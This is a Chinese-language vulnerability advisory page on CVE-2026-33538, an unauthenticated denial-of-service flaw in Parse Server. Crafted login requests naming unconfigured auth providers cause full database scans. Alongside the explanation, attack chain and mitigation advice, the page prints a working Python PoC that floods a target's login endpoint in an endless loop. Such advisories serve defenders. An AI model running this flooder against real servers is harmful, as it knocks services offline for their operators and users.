IPBUF安全漏洞报告
English
CVE-2026-33538 CVSS 7.5 高危

CVE-2026-33538 Parse Server 拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33538
漏洞类型
拒绝服务 (DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

DoS拒绝服务Parse Server数据库性能未授权访问CVE-2026-33538

漏洞概述

Parse Server 是一个可部署在任何 Node.js 基础设施上的开源后端。在 8.6.58 和 9.6.0-alpha.52 版本之前,该软件存在一个高危安全漏洞。未经身份验证的攻击者可以通过发送包含任意、未配置提供者名称的身份验证请求来触发拒绝服务攻击。问题的核心在于服务器在拒绝这些请求之前,会针对每个未配置的提供者执行数据库查询。由于没有为未配置的提供者建立数据库索引,每个请求都会触发对用户数据库的全集合扫描。攻击者可以通过并行化发送此类请求来耗尽数据库资源,导致服务不可用。

技术细节

该漏洞的根源在于 Parse Server 处理身份验证请求时的逻辑缺陷。当服务器收到请求时,即使请求中指定的身份验证提供者并未在服务器配置中启用,服务器仍会尝试查询数据库以验证该提供者是否存在或相关用户信息。由于未针对这些未配置的提供者建立数据库索引,查询引擎被迫对用户数据库执行全集合扫描。这种操作涉及大量的磁盘 I/O 和 CPU 计算,资源消耗极高,尤其是在数据量较大的情况下。攻击者无需任何认证即可利用此漏洞,通过构造包含随机提供者名称的 HTTP 请求发送给服务器。由于查询过程是阻塞的或高耗资源的,攻击者可以并发发送大量此类恶意请求。这种攻击方式能够迅速占用数据库的连接池、CPU 和 I/O 资源,导致数据库响应超时甚至崩溃,最终致使合法用户的请求无法得到及时处理,从而实现拒绝服务攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在使用存在漏洞的 Parse Server 版本,并确定其 API 端点。
STEP 2
2. 发起攻击
攻击者向服务器的认证接口发送大量精心构造的 HTTP 请求,这些请求中包含随机生成的、未在服务器配置的认证提供者名称。
STEP 3
3. 资源耗尽
服务器处理每个请求时,尝试在数据库中查找不存在的提供者。由于缺乏索引,这会触发全表扫描,大量并发请求迅速消耗数据库的 CPU 和 I/O 资源。
STEP 4
4. 拒绝服务
数据库资源被耗尽,无法响应正常的业务请求,导致服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import random import string def generate_random_provider(): # Generate a random string to simulate an unconfigured provider return ''.join(random.choices(string.ascii_letters + string.digits, k=10)) def exploit_parse_server(target_url): headers = { 'Content-Type': 'application/json' } # Endpoint usually used for authentication endpoint = f"{target_url}/login" print(f"[+] Starting DoS attack on {target_url}") while True: try: random_provider = generate_random_provider() # Payload with arbitrary auth provider payload = { "username": "test", "password": "test", "authData": { random_provider: {"id": "12345"} } } # Send request to trigger full collection scan response = requests.post(endpoint, json=payload, headers=headers, timeout=5) print(f"Sent request with provider: {random_provider}, Status: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost:1337/parse" # Replace with actual target exploit_parse_server(target)

影响范围

Parse Server < 8.6.58
Parse Server < 9.6.0-alpha.52

防御指南

临时缓解措施
如果无法立即升级,建议在应用网关或 WAF 层面实施速率限制,以阻断包含异常或非预期认证提供者参数的高频请求。同时,监控数据库性能指标,一旦发现异常的全表扫描操作应及时报警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表